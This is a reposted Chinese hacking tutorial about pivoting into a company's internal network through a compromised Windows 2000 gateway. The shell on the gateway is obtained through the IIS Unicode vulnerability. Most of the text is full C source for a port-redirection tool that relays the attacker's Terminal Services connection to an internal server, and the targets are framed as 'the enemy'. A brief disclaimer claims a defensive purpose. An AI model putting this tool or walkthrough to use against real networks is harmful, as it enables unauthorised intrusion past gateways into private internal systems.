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突破TCP-IP过滤-防火墙进入内网(一)

发布: 2007-7-02 21:50 | 作者: admin | 来源: | 查看: 13次 | 进入软件测试论坛讨论

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  (注:本站转载这篇文章旨在希望通过这篇文章来如何预防网络安全,并不鼓励读者去做相应的破坏活动,特此声明)

  作者:eyas

  现在很多企业或者公司基本上网方式基本上都是申请一条连接到Inte.net的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。

  也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。

  Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。

第一部分:利用TCP socket数据转发进入没有防火墙保护的内网

  假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。

sever--Ethernet--攻击者 | hup-192.168.1.x | 192.168.1.3

  我们的目标是连接上敌人内网的Terminal Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。

  攻击流程如下:

  <1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。

  <2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。

  <3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]

  <4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:)

  程序代码如下:

/********************************************************************** Module Name:AgentGateWay.c Date:2001/4/15 CopyRight(c) eyas 说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT, 就可以进入内网了 sock[0]==>sClient sock[1]==>sTarget **********************************************************************/ #include #include #include "TCPDataRedird.c" #define TargetIP TEXT("192.168.1.3") #define TargetPort (int)3389 #define ListenPort (int)3389//监听端口 #pragma comment(lib,"ws2_32.lib") int main() { WSADATA wsd; SOCKET sListen=INVALID_SOCKET,//本机监听的socket sock[2]; struct sockaddr_in Local,Client,Target; int iAddrSize; HANDLE hThreadC2T=NULL,//C2T=ClientToTarget hThreadT2C=NULL;//T2C=TargetToClient DWORD dwThreadID; __try { if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) { printf(" WSAStartup() failed:%d",GetLastError()); __leave; } sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(sListen==INVALID_SOCKET) { printf(" socket() failed:%d",GetLastError()); __leave; } Local.sin_addr.s_addr=htonl(INADDR_ANY); Local.sin_family=AF_INET; Local.sin_port=htons(ListenPort); Target.sin_family=AF_INET; Target.sin_addr.s_addr=inet_addr(TargetIP); Target.sin_port=htons(TargetPort); if(bind(sListen,(struct sockaddr *)&Local,sizeof(Local))==SOCKET_ERROR) { printf(" bind() failed:%d",GetLastError()); __leave; } if(listen(sListen,1)==SOCKET_ERROR) { printf(" listen() failed:%d",GetLastError()); __leave; } //scoket循环 while(1) { printf(" *************Waiting Client Connect to************** "); iAddrSize=sizeof(Client); //get socket sClient sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize); if(sock[0]==INVALID_SOCKET) { printf(" accept() failed:%d",GetLastError()); break; } printf(" Accept client==>%s:%d",inet_ntoa(Client.sin_addr), ntohs(Client.sin_port)); //create socket sTarget sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(sock[1]==INVALID_SOCKET) { printf(" socket() failed:%d",GetLastError()); __leave; } //connect to target port if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR) { printf(" connect() failed:%d",GetLastError()); __leave; } printf(" connect to target 3389 success!"); //创建两个线程进行数据转发 hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID); hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID); //等待两个线程结束 WaitForSingleObject(hThreadC2T,INFINITE); WaitForSingleObject(hThreadT2C,INFINITE); CloseHandle(hThreadC2T); CloseHandle(hThreadT2C); closesocket(sock[1]); closesocket(sock[0]); printf(" *****************Connection Close******************* "); }//end of sock外循环 }//end of try __finally { if(sListen!=INVALID_SOCKET) closesocket(sListen); if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]); if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]); if(hThreadC2T!=NULL) CloseHandle(hThreadC2T); if(hThreadT2C!=NULL) CloseHandle(hThreadT2C); WSACleanup(); } return 0; } /************************************************************************* Module:TCPDataRedird.c Date:2001/4/16 CopyRight(c) eyas HomePage:www.patching.net Thanks to shotgun 说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget *************************************************************************/ #define BuffSize 20*1024 //缓冲区大小20k //此函数负责从Client读取数据,然后转发给Target DWORD WINAPI TCPDataC2T(SOCKET* sock) { int iRet, ret=-1,//select 返回值 iLeft, idx, iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize char szSendToTargetBuff[BuffSize]={0}, szRecvFromClientBuff[BuffSize]={0}; fd_set fdread,fdwrite; printf(" *****************Connection Active******************* "); while(1) { FD_ZERO(&fdread); FD_ZERO(&fdwrite); FD_SET(sock[0],&fdread); FD_SET(sock[1],&fdwrite); if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR) { printf(" select() failed:%d",GetLastError()); break; } //printf(" select() return value ret=%d",ret); if(ret>0) { //sClinet可读,client有数据要发送过来 if(FD_ISSET(sock[0],&fdread)) { //接收sock[0]发送来的数据 iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0); if(iRet==SOCKET_ERROR) { printf(" recv() from sock[0] failed:%d",GetLastError()); break; } else if(iRet==0) break; printf(" recv %d bytes from sClinet.",iRet); //把从client接收到的数据存添加到发往target的缓冲区 memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet); //刷新发往target的数据缓冲区当前buff大小 iSTTBCS+=iRet; //清空接收client数据的缓冲区 memset(szRecvFromClientBuff,0,BuffSize); } //sTarget可写,把从client接收到的数据发送到target if(FD_ISSET(sock[1],&fdwrite)) { //转发数据到target的3389端口 iLeft=iSTTBCS; idx=0; while(iLeft>0) { iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0); if(iRet==SOCKET_ERROR) { printf(" send() to target failed:%d",GetLastError()); break; } printf(" send %d bytes to target",iRet); iLeft-=iRet; idx+=iRet; } //清空缓冲区 memset(szSendToTargetBuff,0,BuffSize); //重置发往target的数据缓冲区当前buff大小 iSTTBCS=0; } }//end of select ret Sleep(1); }//end of data send & recv循环 return 0; } //此函数负责从target读取数据,然后发送给client DWORD WINAPI TCPDataT2C(SOCKET* sock) { int iRet, ret=-1,//select 返回值 iLeft, idx, iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize char szRecvFromTargetBuff[BuffSize]={0}, szSendToClientBuff[BuffSize]={0}; fd_set fdread,fdwrite; while(1) { FD_ZERO(&fdread); FD_ZERO(&fdwrite); FD_SET(sock[0],&fdwrite); FD_SET(sock[1],&fdread); if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR) { printf(" select() failed:%d",GetLastError()); break; } if(ret>0) { //sTarget可读,从target接收数据 if(FD_ISSET(sock[1],&fdread)) { //接收target返回数据 iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0); if(iRet==SOCKET_ERROR) { printf(" recv() from target failed:%d",GetLastError()); break; } else if(iRet==0) break; printf(" recv %d bytes from target",iRet); //把从target接收到的数据添加到发送到client的缓冲区 memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet); //清空接收target返回数据缓冲区 memset(szRecvFromTargetBuff,0,BuffSize); //刷新发送到client的数据缓冲区当前大小 iSTCBCS+=iRet; } //client可写,发送target返回数据到client if(FD_ISSET(sock[0],&fdwrite)) { //发送target返回数据到client iLeft=iSTCBCS; idx=0; while(iLeft>0) { iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0); if(iRet==SOCKET_ERROR) { printf(" send() to Client failed:%d",GetLastError()); break; } printf(" send %d bytes to Client",iRet); iLeft-=iRet; idx+=iRet; } //清空缓冲区 memset(szSendToClientBuff,0,BuffSize); iSTCBCS=0; } }//end of select ret Sleep(1); }//end of while return 0; }

  转自:www.patching.net

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